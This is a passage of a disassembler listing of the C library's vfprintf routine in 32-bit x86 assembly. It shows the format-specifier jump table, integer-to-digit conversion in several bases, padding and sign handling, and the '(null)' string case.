		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051B98:				; CODE XREF: vfprintf+2214j
					; vfprintf+222Ej ...
		test	byte ptr [esi+1], 8
		jz	short loc_8051BAC
		add	[ebp+arg_8], 4
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebx-4]
		mov	[eax], edx
		jmp	short loc_8051BC0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051BAC:				; CODE XREF: vfprintf+2314j
		mov	dword ptr [eax], 0
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax+8], 0

loc_8051BC0:				; CODE XREF: vfprintf+227Cj
					; vfprintf+2292j ...
		add	eax, 0Ch
		add	esi, 4
		inc	[ebp+var_4F0]
		mov	edi, [ebp+var_4B0]
		cmp	[ebp+var_4F0], edi
		jb	loc_8051A80

loc_8051BDE:				; CODE XREF: vfprintf+21EBj
		mov	ecx, [ebp+var_4A4]
		cmp	[ebp+var_460], ecx
		jnb	loc_80529B8
		mov	ebx, [ebp+var_460]
		lea	edx, [ebx+ebx*4]
		lea	edx, [ebx+edx*2]
		shl	edx, 3
		mov	[ebp+var_4D0], edx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8051C08:				; CODE XREF: vfprintf+312Aj
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+3Ch], 0FFFFFFFFh
		jz	short loc_8051C41
		mov	edx, [ecx+edi+3Ch]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		mov	edx, [ebx+edx*4]
		mov	[ecx+edi+4], edx
		test	edx, edx
		jge	short loc_8051C41
		neg	edx
		mov	[ecx+edi+4], edx
		mov	dword ptr [ecx+edi+20h], 1

loc_8051C41:				; CODE XREF: vfprintf+2391j
					; vfprintf+23A9j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+38h], 0FFFFFFFFh
		jz	short loc_8051C72
		mov	edx, [ecx+edi+38h]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		mov	edx, [ebx+edx*4]
		mov	[ecx+edi], edx
		test	edx, edx
		jge	short loc_8051C72
		mov	dword ptr [ecx+edi], 0FFFFFFFFh

loc_8051C72:				; CODE XREF: vfprintf+23CAj
					; vfprintf+23E1j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		movzx	edx, byte ptr [ecx+edi+8]
		add	edx, 0FFFFFFDBh	; switch 84 cases 
		cmp	edx, 53h
		ja	loc_805287C	; default
		jmp	ds:off_8051C98[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
off_8051C98	dd offset loc_8051DE8, 1Fh dup(offset loc_805287C), offset loc_8052480
					; DATA XREF: vfprintf+2407r
		dd offset loc_805287C, offset loc_8052480, 10h dup(offset loc_805287C) ; jump table for	switch statement
		dd offset loc_8051F58, 0Ah dup(offset loc_805287C), offset loc_805248C
		dd offset loc_8051E24, 3 dup(offset loc_8052480), offset loc_805287C
		dd offset loc_8051E24, 3 dup(offset loc_805287C), offset loc_8052858
		dd offset loc_8052794, offset loc_8051F4C, offset loc_8052718
		dd 2 dup(offset	loc_805287C), offset loc_8052560, offset loc_805287C
		dd offset loc_8051F40, 2 dup(offset loc_805287C), offset loc_8051F58
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051DE8:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	ebx, [ebp+arg_0] ; case	0x25
		mov	edx, [ebx+14h]
		cmp	[ebx+18h], edx
		ja	short loc_8051E0C
		push	25h
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0
		jmp	short loc_8051E18
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051E0C:				; CODE XREF: vfprintf+2569j
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		mov	byte ptr [edx],	25h
		inc	dword ptr [edi+14h]

loc_8051E18:				; CODE XREF: vfprintf+257Fj
		inc	[ebp+var_464]
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051E24:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	[ebp+var_4F0], 0Ah ; case 0x64
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+0Ch], 0
		jz	loc_8051ED0
		mov	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		mov	ecx, [edi+edx*4]
		mov	[ebp+var_4EC], ecx
		mov	ecx, [edi+edx*4+4]
		mov	[ebp+var_4E8], ecx
		mov	[ebp+var_4CC], 0
		cmp	[ebp+var_4E8], 0
		jge	short loc_8051E7E
		inc	[ebp+var_4CC]

loc_8051E7E:				; CODE XREF: vfprintf+25EEj
		mov	ebx, [ebp+var_4EC]
		mov	[ebp+var_4EC], ebx
		mov	ebx, [ebp+var_4E8]
		mov	[ebp+var_4E8], ebx
		cmp	[ebp+var_4CC], 0
		jz	short loc_8051EB2
		neg	[ebp+var_4EC]
		adc	[ebp+var_4E8], 0
		neg	[ebp+var_4E8]

loc_8051EB2:				; CODE XREF: vfprintf+2615j
		mov	edi, [ebp+var_4EC]
		mov	[ebp+var_4C8], edi
		mov	edi, [ebp+var_4E8]
		mov	[ebp+var_4C4], edi
		jmp	loc_8051FB3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8051ED0:				; CODE XREF: vfprintf+25B7j
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+14h], 0
		jnz	short loc_8051EF6
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+10h], 0
		jnz	short loc_8051F08

loc_8051EF6:				; CODE XREF: vfprintf+2659j
		mov	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		mov	edx, [edi+edx*4]
		jmp	short loc_8051F25
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051F08:				; CODE XREF: vfprintf+266Cj
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		movsx	edx, word ptr [edi+edx*4]

loc_8051F25:				; CODE XREF: vfprintf+267Ej
		mov	ecx, edx
		shr	ecx, 1Fh
		mov	[ebp+var_4CC], ecx
		jz	loc_80520F5
		neg	edx
		jmp	loc_80520F5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051F40:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	[ebp+var_4F0], 0Ah ; case 0x75
		jmp	short loc_8051F62
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051F4C:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	[ebp+var_4F0], 8 ; case	0x6f
		jmp	short loc_8051F62
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051F58:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	[ebp+var_4F0], 10h ; case 0x58

loc_8051F62:				; CODE XREF: vfprintf+26C2j
					; vfprintf+26CEj
		mov	[ebp+var_4CC], 0
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		mov	dword ptr [edi+ebx+24h], 0
		mov	dword ptr [edi+ebx+1Ch], 0
		cmp	dword ptr [edi+ebx+0Ch], 0
		jz	loc_80520A0
		mov	edx, [edi+ebx+40h]
		lea	edx, [edx+edx*2]
		mov	ecx, [ebp+var_4B4]
		mov	ebx, [ecx+edx*4]
		mov	[ebp+var_4C8], ebx
		mov	ebx, [ecx+edx*4+4]
		mov	[ebp+var_4C4], ebx

loc_8051FB3:				; CODE XREF: vfprintf+2642j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi], 0
		jge	short loc_8051FD0
		mov	dword ptr [ecx+edi], 1
		jmp	short loc_8051FE1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8051FD0:				; CODE XREF: vfprintf+273Bj
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		mov	byte ptr [edi+ebx+2Ch],	20h

loc_8051FE1:				; CODE XREF: vfprintf+2744j
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx], 0
		jnz	short loc_805200C
		cmp	[ebp+var_4C8], 0
		jnz	short loc_805200C
		cmp	[ebp+var_4C4], 0
		jnz	short loc_805200C
		lea	esi, [ebp+var_1]
		jmp	short loc_8052079
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805200C:				; CODE XREF: vfprintf+2769j
					; vfprintf+2772j ...
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	byte ptr [ecx+edi+8], 58h
		setz	dl
		and	edx, 0FFh
		push	edx
		mov	ebx, [ebp+var_4F0]
		push	ebx
		push	ebp
		push	[ebp+var_4C4]
		push	[ebp+var_4C8]
		call	sub_8062714
		mov	esi, eax
		dec	esi
		add	esp, 14h
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+28h], 0
		jz	short loc_8052079
		cmp	[ebp+var_458], 0
		jz	short loc_8052079
		mov	edx, [ebp+var_3F8]
		push	edx
		mov	ebx, [ebp+var_458]
		push	ebx
		lea	edx, [ebp+var_1]
		push	edx
		push	esi
		call	sub_8052C9C
		mov	esi, eax
		add	esp, 10h

loc_8052079:				; CODE XREF: vfprintf+2780j
					; vfprintf+27C9j ...
		xor	edx, edx
		cmp	[ebp+var_4C8], 0
		jnz	short loc_805208D
		cmp	[ebp+var_4C4], 0
		jz	short loc_8052092

loc_805208D:				; CODE XREF: vfprintf+27FAj
		mov	edx, 1

loc_8052092:				; CODE XREF: vfprintf+2803j
		mov	[ebp+var_4C8], edx
		jmp	loc_8052242
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80520A0:				; CODE XREF: vfprintf+2705j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+14h], 0
		jnz	short loc_80520C6
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+10h], 0
		jnz	short loc_80520D8

loc_80520C6:				; CODE XREF: vfprintf+2829j
		mov	edx, [ecx+edi+40h]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		mov	edx, [ebx+edx*4]
		jmp	short loc_80520F5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80520D8:				; CODE XREF: vfprintf+283Cj
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+edi+40h]
		lea	edx, [edx+edx*2]
		mov	ebx, [ebp+var_4B4]
		movzx	edx, word ptr [ebx+edx*4]

loc_80520F5:				; CODE XREF: vfprintf+26A8j
					; vfprintf+26B0j ...
		mov	[ebp+var_4C8], edx

loc_80520FB:				; CODE XREF: vfprintf+2EDFj
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi], 0
		jge	short loc_8052118
		mov	dword ptr [ecx+edi], 1
		jmp	short loc_8052129
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052118:				; CODE XREF: vfprintf+2883j
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		mov	byte ptr [edi+ebx+2Ch],	20h

loc_8052129:				; CODE XREF: vfprintf+288Cj
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx], 0
		jnz	short loc_805214C
		cmp	[ebp+var_4C8], 0
		jnz	short loc_805214C
		lea	esi, [ebp+var_1]
		jmp	loc_8052242
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805214C:				; CODE XREF: vfprintf+28B1j
					; vfprintf+28BAj
		mov	edx, [ebp+var_4C8]
		mov	eax, edx
		mov	edx, ebp
		mov	[ebp+var_4EC], offset a0123456789abcd ;	"0123456789abcdefghijklmnopqrstuvwxyz"
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	byte ptr [ecx+edi+8], 58h
		jnz	short loc_805217D
		mov	[ebp+var_4EC], offset a0123456789ab_0 ;	"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

loc_805217D:				; CODE XREF: vfprintf+28E9j
		mov	esi, edx
		cmp	[ebp+var_4F0], 0Ah
		jz	short loc_80521A4
		ja	short loc_8052198
		cmp	[ebp+var_4F0], 8
		jz	short loc_80521D8
		jmp	short loc_80521F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052198:				; CODE XREF: vfprintf+2900j
		cmp	[ebp+var_4F0], 10h
		jz	short loc_80521C0
		jmp	short loc_80521F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80521A4:				; CODE XREF: vfprintf+28FEj
					; vfprintf+2933j
		dec	esi
		mov	ebx, 0Ah
		xor	edx, edx
		div	ebx
		mov	edi, [ebp+var_4EC]
		mov	dl, [edx+edi]
		mov	[esi], dl
		test	eax, eax
		jnz	short loc_80521A4
		jmp	short loc_8052208
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80521C0:				; CODE XREF: vfprintf+2917j
					; vfprintf+294Cj
		dec	esi
		mov	edx, eax
		and	edx, 0Fh
		mov	ecx, [ebp+var_4EC]
		mov	dl, [edx+ecx]
		mov	[esi], dl
		shr	eax, 4
		jnz	short loc_80521C0
		jmp	short loc_8052208
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80521D8:				; CODE XREF: vfprintf+2909j
					; vfprintf+2964j
		dec	esi
		mov	edx, eax
		and	edx, 7
		mov	ebx, [ebp+var_4EC]
		mov	dl, [edx+ebx]
		mov	[esi], dl
		shr	eax, 3
		jnz	short loc_80521D8
		jmp	short loc_8052208
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80521F0:				; CODE XREF: vfprintf+290Bj
					; vfprintf+2919j ...
		dec	esi
		xor	edx, edx
		div	[ebp+var_4F0]
		mov	edi, [ebp+var_4EC]
		mov	dl, [edx+edi]
		mov	[esi], dl
		test	eax, eax
		jnz	short loc_80521F0

loc_8052208:				; CODE XREF: vfprintf+2935j
					; vfprintf+294Ej ...
		dec	esi
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+28h], 0
		jz	short loc_8052242
		cmp	[ebp+var_458], 0
		jz	short loc_8052242
		mov	edx, [ebp+var_3F8]
		push	edx
		mov	edi, [ebp+var_458]
		push	edi
		lea	edx, [ebp+var_1]
		push	edx
		push	esi
		call	sub_8052C9C
		mov	esi, eax
		add	esp, 10h

loc_8052242:				; CODE XREF: vfprintf+2810j
					; vfprintf+28BFj ...
		mov	edx, esi
		not	edx
		add	edx, ebp
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		sub	[ebx+ecx+4], edx
		mov	edi, [ebx+ecx]
		sub	edi, edx
		mov	edx, edi
		mov	[ebx+ecx], edx
		cmp	[ebp+var_4C8], 0
		jz	short loc_8052287
		cmp	dword ptr [ebx+ecx+18h], 0
		jz	short loc_8052287
		cmp	[ebp+var_4F0], 8
		jnz	short loc_8052287
		test	edx, edx
		jg	short loc_8052287
		mov	byte ptr [esi],	30h
		dec	esi
		dec	dword ptr [ebx+ecx+4]

loc_8052287:				; CODE XREF: vfprintf+29E1j
					; vfprintf+29E8j ...
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx], 0
		jle	short loc_80522D0
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		mov	edi, [ebx+ecx]
		sub	[ebx+ecx+4], edi
		mov	edx, [ebx+ecx]
		dec	dword ptr [ebx+ecx]
		test	edx, edx
		jle	short loc_80522D0
		mov	eax, [ebp+var_4D0]

loc_80522BC:				; CODE XREF: vfprintf+2A46j
		mov	byte ptr [esi],	30h
		dec	esi
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+eax]
		dec	dword ptr [ecx+eax]
		test	edx, edx
		jg	short loc_80522BC

loc_80522D0:				; CODE XREF: vfprintf+2A0Fj
					; vfprintf+2A2Cj
		cmp	[ebp+var_4C8], 0
		jz	short loc_80522FA
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+18h], 0
		jz	short loc_80522FA
		cmp	[ebp+var_4F0], 10h
		jnz	short loc_80522FA
		add	dword ptr [edi+ebx+4], 0FFFFFFFEh

loc_80522FA:				; CODE XREF: vfprintf+2A4Fj
					; vfprintf+2A62j ...
		cmp	[ebp+var_4CC], 0
		jnz	short loc_805231D
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+24h], 0
		jnz	short loc_805231D
		cmp	dword ptr [ebx+ecx+1Ch], 0
		jz	short loc_805232D

loc_805231D:				; CODE XREF: vfprintf+2A79j
					; vfprintf+2A8Cj
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		dec	dword ptr [ecx+edi+4]

loc_805232D:				; CODE XREF: vfprintf+2A93j
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+20h], 0
		jnz	short loc_8052372
		cmp	byte ptr [edi+ebx+2Ch],	30h
		jnz	short loc_8052372
		mov	edx, [edi+ebx+4]
		dec	dword ptr [edi+ebx+4]
		test	edx, edx
		jle	short loc_8052372
		mov	eax, [ebp+var_4D0]
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805235C:				; CODE XREF: vfprintf+2AE8j
		mov	byte ptr [esi],	30h
		dec	esi
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+eax+4]
		dec	dword ptr [ecx+eax+4]
		test	edx, edx
		jg	short loc_805235C

loc_8052372:				; CODE XREF: vfprintf+2AB6j
					; vfprintf+2ABDj ...
		cmp	[ebp+var_4C8], 0
		jz	short loc_80523A2
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+18h], 0
		jz	short loc_80523A2
		cmp	[ebp+var_4F0], 10h
		jnz	short loc_80523A2
		mov	dl, [edi+ebx+8]
		mov	[esi], dl
		dec	esi
		mov	byte ptr [esi],	30h
		dec	esi

loc_80523A2:				; CODE XREF: vfprintf+2AF1j
					; vfprintf+2B04j ...
		cmp	[ebp+var_4CC], 0
		jz	short loc_80523B0
		mov	byte ptr [esi],	2Dh
		jmp	short loc_80523DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80523B0:				; CODE XREF: vfprintf+2B21j
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+24h], 0
		jz	short loc_80523C8
		mov	byte ptr [esi],	2Bh
		jmp	short loc_80523DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80523C8:				; CODE XREF: vfprintf+2B39j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+1Ch], 0
		jz	short loc_80523DF
		mov	byte ptr [esi],	20h

loc_80523DE:				; CODE XREF: vfprintf+2B26j
					; vfprintf+2B3Ej
		dec	esi

loc_80523DF:				; CODE XREF: vfprintf+2B51j
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+20h], 0
		jnz	short loc_8052422
		cmp	byte ptr [edi+ebx+2Ch],	20h
		jnz	short loc_8052422
		mov	edx, [edi+ebx+4]
		dec	dword ptr [edi+ebx+4]
		test	edx, edx
		jle	short loc_8052422
		mov	eax, [ebp+var_4D0]
		nop

loc_805240C:				; CODE XREF: vfprintf+2B98j
		mov	byte ptr [esi],	20h
		dec	esi
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+eax+4]
		dec	dword ptr [ecx+eax+4]
		test	edx, edx
		jg	short loc_805240C

loc_8052422:				; CODE XREF: vfprintf+2B68j
					; vfprintf+2B6Fj ...
		mov	ebx, [ebp+arg_0]
		mov	ebx, [ebx+50h]
		mov	edi, esi
		not	edi
		add	edi, ebp
		push	edi
		lea	edx, [esi+1]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebx+34h]
		call	edx
		add	esp, 0Ch
		cmp	eax, edi
		jnz	loc_8050E72	; case 0x0
		add	[ebp+var_464], eax
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		cmp	dword ptr [edi+ebx+20h], 0
		jz	loc_8052933
		cmp	dword ptr [edi+ebx+4], 0
		jle	loc_8052933
		mov	edx, [edi+ebx+4]
		push	edx
		push	20h
		mov	ecx, [ebp+arg_0]
		push	ecx
		jmp	loc_8052702
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052480:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	eax, offset sub_8053310	; case 0x45
		jmp	loc_80528AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805248C:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	ebx, [ebp+var_4D0] ; case 0x63
		mov	edi, [ebp+var_4AC]
		dec	dword ptr [edi+ebx+4]
		cmp	dword ptr [edi+ebx+20h], 0
		jnz	short loc_80524C3
		cmp	dword ptr [edi+ebx+4], 0
		jle	short loc_80524C3
		mov	edx, [edi+ebx+4]
		push	edx
		push	20h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch

loc_80524C3:				; CODE XREF: vfprintf+2C19j
					; vfprintf+2C20j
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		mov	edx, [edi+ebx+40h]
		lea	edx, [edx+edx*2]
		mov	ecx, [ebp+var_4B4]
		movzx	eax, byte ptr [ecx+edx*4]
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebx+14h]
		cmp	[ebx+18h], edx
		ja	short loc_8052504
		movzx	edx, al
		push	edx
		push	ebx
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0
		jmp	short loc_8052525
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052504:				; CODE XREF: vfprintf+2C61j
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		mov	byte ptr [ebp+var_4E0],	al
		mov	[edx], al
		movzx	edx, byte ptr [ebp+var_4E0]
		inc	dword ptr [edi+14h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_8050E72	; case 0x0

loc_8052525:				; CODE XREF: vfprintf+2C79j
		inc	[ebp+var_464]
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+20h], 0
		jz	loc_8052933
		cmp	dword ptr [ebx+ecx+4], 0
		jle	loc_8052933
		mov	edx, [ebx+ecx+4]
		push	edx
		push	20h
		mov	edi, [ebp+arg_0]
		push	edi
		jmp	loc_8052702
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8052560:				; CODE XREF: vfprintf+2407j
					; DATA XREF: vfprintf+2410o
		mov	ecx, [ebp+var_4D0] ; case 0x73
		mov	ebx, [ebp+var_4AC]
		mov	edx, [ebx+ecx+40h]
		lea	edx, [edx+edx*2]
		mov	edi, [ebp+var_4B4]
		mov	esi, [edi+edx*4]

loc_805257C:				; CODE XREF: vfprintf+2EF9j
					; vfprintf+2F06j ...
		test	esi, esi
		jnz	short loc_80525C0
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx], 0FFFFFFFFh
		jz	short loc_8052598
		cmp	dword ptr [ebx+ecx], 5
		jle	short loc_80525AC

loc_8052598:				; CODE XREF: vfprintf+2D08j
		mov	esi, offset aNull ; "(null)"
		mov	[ebp+var_4F0], 6
		jmp	loc_805266C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80525AC:				; CODE XREF: vfprintf+2D0Ej
		mov	esi, offset unk_8067EEB
		mov	[ebp+var_4F0], 0
		jmp	loc_805266C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80525C0:				; CODE XREF: vfprintf+2CF6j
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi], 0FFFFFFFFh
		jz	short loc_8052608
		mov	edx, [ecx+edi]
		push	edx
		push	0
		push	esi
		call	sub_80575C0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80525F0
		sub	eax, esi
		mov	[ebp+var_4F0], eax
		jmp	short loc_805266C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80525F0:				; CODE XREF: vfprintf+2D5Bj
		mov	ebx, [ebp+var_4D0]
		mov	edi, [ebp+var_4AC]
		mov	ebx, [edi+ebx]
		mov	[ebp+var_4F0], ebx
		jmp	short loc_805266C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8052608:				; CODE XREF: vfprintf+2D48j
		xor	al, al
		mov	[ebp+var_4F0], esi
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		dec	edx
		mov	[ebp+var_4F0], edx
		mov	ecx, [ebp+var_4D0]
		mov	ebx, [ebp+var_4AC]
		cmp	dword ptr [ebx+ecx+4], 0
		jnz	short loc_805266C
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+50h]
		mov	ecx, [ebp+var_4F0]
		push	ecx
		push	esi
		push	edi
		mov	edx, [edx+34h]
		call	edx
		add	esp, 0Ch
		cmp	[ebp+var_4F0], eax
		jnz	loc_8050E72	; case 0x0
		mov	ebx, [ebp+var_4F0]
		add	[ebp+var_464], ebx
		jmp	loc_8052933
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805266C:				; CODE XREF: vfprintf+2D1Fj
					; vfprintf+2D33j ...
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		mov	edx, [ecx+edi+4]
		sub	edx, [ebp+var_4F0]
		mov	[ecx+edi+4], edx
		cmp	dword ptr [ecx+edi+20h], 0
		jnz	short loc_80526A6
		test	edx, edx
		jle	short loc_80526A6
		push	edx
		push	20h
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_8062534
		add	[ebp+var_464], eax
		add	esp, 0Ch

loc_80526A6:				; CODE XREF: vfprintf+2E03j
					; vfprintf+2E07j
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+50h]
		mov	ecx, [ebp+var_4F0]
		push	ecx
		push	esi
		push	edi
		mov	edx, [edx+34h]
		call	edx
		add	esp, 0Ch
		cmp	[ebp+var_4F0], eax
		jnz	loc_8050E72	; case 0x0
		mov	ebx, [ebp+var_4F0]
		add	[ebp+var_464], ebx
		mov	edi, [ebp+var_4D0]
		mov	ecx, [ebp+var_4AC]
		cmp	dword ptr [ecx+edi+20h], 0
		jz	loc_8052933
		cmp	dword ptr [ecx+edi+4], 0
		jle	loc_8052933
		mov	edx, [ecx+edi+4]
		push	edx
		push	20h
		mov	ebx, [ebp+arg_0]
